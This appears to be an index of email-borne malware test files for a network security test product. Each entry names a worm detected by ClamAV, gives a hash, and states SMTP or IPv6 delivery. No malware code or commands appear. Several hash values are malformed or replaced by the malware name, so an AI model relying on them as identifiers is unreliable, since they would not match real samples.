Threat File Name:	W32.Navidad.B.be461c9e.xml
Executive Description:	Email Virus W32.Navidad.B
Detailed Description:	This is the email virus W32.Navidad.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: be461c9e4474e5931e0ff74931397f32. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Veryfun.9b42816a_IPv6.xml
Executive Description:	Email Virus Worm.Veryfun (IPv6 Version)
Detailed Description:	This is the email virus Worm.Veryfun as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9b42816albaa0e682876e8e2179d6158. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Kit.WCGen.4.7a9db04d.xml
Executive Description:	Email Virus Kit.WCGen.4
Detailed Description:	This is the email virus Kit.WCGen.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7a9db04dfc07e0dlee48d00927745055. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Centar.k.k.681a08e6.xml
Executive Description:	Email Virus Email-Worm.Win32.Centar.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.Centar.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Centar.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.R.5bbb322a_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.R (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.R as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5bbb322a70a6a248369f45ece8d9e79b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yever.a.a.ca63f7dd_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Yever.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Yever.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yever.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Matra.4d6f4017.xml
Executive Description:	Email Virus Worm.Matra
Detailed Description:	This is the email virus Worm.Matra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d6f40179e37a956df35f76222b10f56. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rastam.e4fda82a.xml
Executive Description:	Email Virus Worm.Rastam
Detailed Description:	This is the email virus Worm.Rastam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4fda82af5514427ca29b0560c8c40ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.b.b.6389436e.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.Brit.i.i.eidd3520_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Brit.i.i (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Brit.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Brit.i.i. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AM.e6d771c2.xml
Executive Description:	Email Virus Worm.SomeFool.AM
Detailed Description:	This is the email virus Worm.SomeFool.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e6d771c24e8dbaf9543851e893c3e304. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ainjo.d.d.1e8fb563_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Ainjo.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Ainjo.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ainjo.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.P.75c2df98.xml
Executive Description:	Email Virus Worm.Bagle.P
Detailed Description:	This is the email virus Worm.Bagle.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75c2df982a01db8f5e7024d74b3aef5d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Proud.e449f193.xml
Executive Description:	Email Virus Worm.VBS.Proud
Detailed Description:	This is the email virus Worm.VBS.Proud as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e449f193bc7933e4f3d086cdf94edfc2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Peach.98d8706c_IPv6.xml
Executive Description:	Email Virus Worm.Peach (IPv6 Version)
Detailed Description:	This is the email virus Worm.Peach as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 98d8706c31ce9c4c45daa5c02e1a1950. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Yumao.bdd4e8ab.xml
Executive Description:	Email Virus Worm.VBS.Yumao
Detailed Description:	This is the email virus Worm.VBS.Yumao as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdd4e8ab9db0d5e79474cb50f1f0ebda. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Saje.f40f5149.xml
Executive Description:	Email Virus VBS.Saje
Detailed Description:	This is the email virus VBS.Saje as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f40f514931029d09f7f2f751f10dlb59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BadTrans.B1.0bf5eae.xml
Executive Description:	Email Virus Worm.BadTrans.B1
Detailed Description:	This is the email virus Worm.BadTrans.B1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0bf5eaeed25da53f85086767bcd86e5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Jantic.jan.5fd9740a.xml
Executive Description:	Email Virus Email-Worm.Win32.Jantic.jan
Detailed Description:	This is the email virus Email-Worm.Win32.Jantic.jan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Jantic.jan. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AT.13497c6e.xml
Executive Description:	Email Virus Worm.Bagle.AT
Detailed Description:	This is the email virus Worm.Bagle.AT as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13497c6e85bf4b50a8b34770148d6ae4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.d.d.6b604fce.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yoxec.1d7069df.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d7069dfe6940d3c97b1f8c761ab3ba7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Snapper.sna.f5b5592a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Snapper.sna (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Snapper.sna as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Snapper.sna. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Tijor.tij.3ae473ce_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Tijor.tij (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Tijor.tij as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Tijor.tij. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zaid.2c154c5f_IPv6.xml
Executive Description:	Email Virus Worm.Zaid (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zaid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2c154c5f18defc1b08e48b50820a9736. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Urick.b.3f3f41fc_IPv6.xml
Executive Description:	Email Virus Worm.Urick.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Urick.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f3f41fcd42add8c8aa3f9b6blafd379. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BritneyPic.1.abd315d3_IPv6.xml
Executive Description:	Email Virus Worm.BritneyPic.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.BritneyPic.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abd315d3366a7d4ad37a4943939aa9cb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.D.5d7e77db.xml
Executive Description:	Email Virus Worm.Shuq.D
Detailed Description:	This is the email virus Worm.Shuq.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7e77db1ea0cdddab4f3233eea8d3da. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Yozis.B.5f1e5f07.xml
Executive Description:	Email Virus VBS.Yozis.B
Detailed Description:	This is the email virus VBS.Yozis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f1e5f072ec05d3a82b04eb3141fc722. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.W.f169c212_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.W (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.W as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f169c212b9eb77979df00bddell6b400. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Merlin.a9a5de52.xml
Executive Description:	Email Virus Worm.Merlin
Detailed Description:	This is the email virus Worm.Merlin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a9a5de5236b337a724ed7bd5e47d101b. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Borzella.defdl398.xml
Executive Description:	Email Virus Worm.Borzella
Detailed Description:	This is the email virus Worm.Borzella as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: defdl39871fc316aa31142aca9d7b76c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.252665b8_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BK (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 252665b81d2803589033ce289ad2d742. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BAT.FLove.ed38bbd9_IPv6.xml
Executive Description:	Email Virus Worm.BAT.FLove (IPv6 Version)
Detailed Description:	This is the email virus Worm.BAT.FLove as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed38bbd915420548c5d5a442366939f8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4f065ad4.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f065ad4f872bb1d5380399e95915ae5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.elfcb0fb.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: elfcb0fb57fcd21da4b218238f688e4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.27def401.xml
Executive Description:	Email Virus Worm.Energy
Detailed Description:	This is the email virus Worm.Energy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27def401b53e00de725c0572da3c8bdc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.8b4e37d5_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b4e37d50e8d559f7190381fb35c317e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dumb.2.797810f9_IPv6.xml
Executive Description:	Email Virus Worm.Dumb.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dumb.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 797810f99b6d01fae84556c4dca543b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.09116bae.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09116bae4b15707d4ffd27019f887469. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Agist.A.9377eb52_IPv6.xml
Executive Description:	Email Virus Worm.Agist.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Agist.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9377eb52d91b7ff40alf0e5fb3436825. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.ZippedFiles.d.d.884b68d5.xml
Executive Description:	Email Virus Email-Worm.Win32.ZippedFiles.d.d

Detailed Description:	This is the email virus Email-Worm.Win32.ZippedFiles.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.ZippedFiles.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Isabel.54e640a8.xml
Executive Description:	Email Virus Worm.VBS.Isabel
Detailed Description:	This is the email virus Worm.VBS.Isabel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54e640a8d5608287dd0b9bc7127f38d0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.7342.734.966bcb52.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.7342.734
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.7342.734 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.7342.734. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Horty.b.b.b22f1e9a_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Horty.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Horty.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horty.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WORM.TheFly.402d5086.xml
Executive Description:	Email Virus WORM.TheFly
Detailed Description:	This is the email virus WORM.TheFly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 402d508688afaf9643924e3e33740dbe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Kitro.D.77422aef_IPv6.xml
Executive Description:	Email Virus VBS.Kitro.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.Kitro.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77422aefaa714f9480f98d57ca848de9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.4a42956f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4a42956f7ece688d0ab4f67bd279a2fd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.FreeLove.5a482d04_IPv6.xml
Executive Description:	Email Virus Worm.FreeLove (IPv6 Version)
Detailed Description:	This is the email virus Worm.FreeLove as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a482d04d8a7a3ef1960df7a15339b0a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Logex.log.d54f0bf7_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Logex.log (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Logex.log as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Logex.log. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Brid.6b58f116.xml
Executive Description:	Email Virus W32.Worm.Brid
Detailed Description:	This is the email virus W32.Worm.Brid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b58f116153beac4920102d911c2a8d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Finaldo.b.b.a44e6de4.xml
Executive Description:	Email Virus Email-Worm.Win32.Finaldo.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Finaldo.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Finaldo.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W98.Hybris.E.03e5ead4.xml

Executive Description:	Email Virus W98.Hybris.E
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 03e5ead4eb0463677335b647b7f816e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.64043.640.7268bf4d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.64043.640 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.64043.640 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.64043.640. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dblue.2.5fe86b52_IPv6.xml
Executive Description:	Email Virus Worm.Dblue.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dblue.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fe86b52fcac44a4abb9377d6149a6bd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.d123b9ac_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d123b9acc88e6b9154202227658e737f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.eafe6fd6.xml
Executive Description:	Email Virus W32.Worm.Choke
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eafe6fd6451ffe718d94aa9fd48bc5f5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8d8d94a1_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d8d94a1f6ded1ffef0d3ae0ba51f140. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Newlove.D.d2b8ea4a.xml
Executive Description:	Email Virus VBS.Newlove.D
Detailed Description:	This is the email virus VBS.Newlove.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2b8ea4a267c69040c7d3ad80f64f8ba. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Polsev.a.a.9c5e07c2_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Polsev.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Polsev.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Polsev.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.c.c.d28f7d63.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Krim.B.5de8ac8d_IPv6.xml
Executive Description:	Email Virus Worm.Krim.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Krim.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5de8ac8d3698f3da31d011dedd114dc5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Apbest.h.h.9be8a527_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Apbest.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Apbest.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Apbest.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Nocana.B.b7abeaac_IPv6.xml
Executive Description:	Email Virus Worm.Nocana.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nocana.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7abeaac9816c20fcd69c97e94265bb3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.f2f93898.xml
Executive Description:	Email Virus W32.Ultratt.gz
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2f9389899657155bc503e679e3b34a1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.g.g.cf5d80d9.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.g.g
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.c56e42a1_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c56e42a1499e57bcdcf29492876b80b9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Heidi.6cc11b3f.xml
Executive Description:	Email Virus W32.Heidi
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6cc11b3fd8b8ca2f216e14d4dald7821. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.M1.46f4becc.xml
Executive Description:	Email Virus Worm.Alcaul.M1
Detailed Description:	This is the email virus Worm.Alcaul.M1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46f4becc63127a839832f836a36f2860. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kitro.gl.gl.eb131252.xml
Executive Description:	Email Virus Email-Worm.Win32.Kitro.gl.gl
Detailed Description:	This is the email virus Email-Worm.Win32.Kitro.gl.gl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kitro.gl.gl. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zheng.zhe.f86d6485.xml
Executive Description:	Email Virus Email-Worm.VBS.Zheng.zhe
Detailed Description:	This is the email virus Email-Worm.VBS.Zheng.zhe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zheng.zhe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hermon.her.8da91e09_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hermon.her (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hermon.her as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hermon.her. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mari.c.c.be0d3918.xml
Executive Description:	Email Virus Email-Worm.Win32.Mari.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Mari.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mari.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.feb481a8.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: feb481a8d4330c549512b27bd99f8ed2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Unicle.B.58948742_IPv6.xml
Executive Description:	Email Virus Worm.Unicle.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58948742a7038aa3025704f3563cd21b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.MyPics.k.k.d669f879.xml
Executive Description:	Email Virus Email-Worm.Win32.MyPics.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.MyPics.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.MyPics.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Headline.38c404b6.xml
Executive Description:	Email Virus Worm.Headline
Detailed Description:	This is the email virus Worm.Headline as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38c404b63280b6b3ea51a96ece0f4d01. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Falckon.a.a.ef67a01b.xml
Executive Description:	Email Virus Email-Worm.VBS.Falckon.a.a
